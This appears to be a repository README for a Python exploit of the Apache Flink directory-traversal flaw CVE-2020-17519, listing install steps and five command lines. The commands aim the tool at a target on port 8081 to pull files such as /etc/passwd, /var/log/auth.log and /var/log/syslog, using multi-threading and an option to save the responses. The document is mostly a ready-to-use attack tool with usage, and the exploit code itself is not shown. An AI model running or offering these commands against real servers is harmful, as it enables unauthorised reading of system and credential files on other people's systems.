gazettel/cve-2020-17519Python-based directory traversal exploit for CVE-2020-17519 (Apache Flink) with multi-threading, proxy support, and configurable depth for retrieving log files from vulnerable targets.
A Python tool that uses a directory traversal technique to request log files from a target URL. It displays real-time progress, supports proxy configuration, and optionally saves valid responses.
requests and pwntools (pwn)argparse, os, concurrent.futures, threadinggit clone https://github.com/GazettEl/CVE-2020-17519.git
pip install requests pwntools
The tool can be executed from the command line with various options. Below are some examples:
Example 1: Request a Single File Path
python CVE-2020-17519.py --target http://10.10.110.78:8081/ --depth 12 --file-path /var/log/syslog --threads 1 --save
Example 2: Request Multiple File Paths from a List
python CVE-2020-17519.py --target http://10.10.110.78:8081/ --depth 12 --file-list file_paths.txt --threads 4 --proxy none
Example 3: Run with Proxy Disabled
python CVE-2020-17519.py --target http://10.10.110.78:8081/ --depth 10 --file-path /var/log/auth.log --threads 2 --proxy none
Example 4: Use a File List and Save Valid Responses
python CVE-2020-17519.py --target http://10.10.110.78:8081/ --depth 15 --file-list paths.txt --threads 4 --save
Example 5: Request a Single File with Increased Depth
python CVE-2020-17519.py --target http://10.10.110.78:8081/ --depth 20 --file-path /etc/passwd --threads 1
For more details, refer to the source code and inline comments.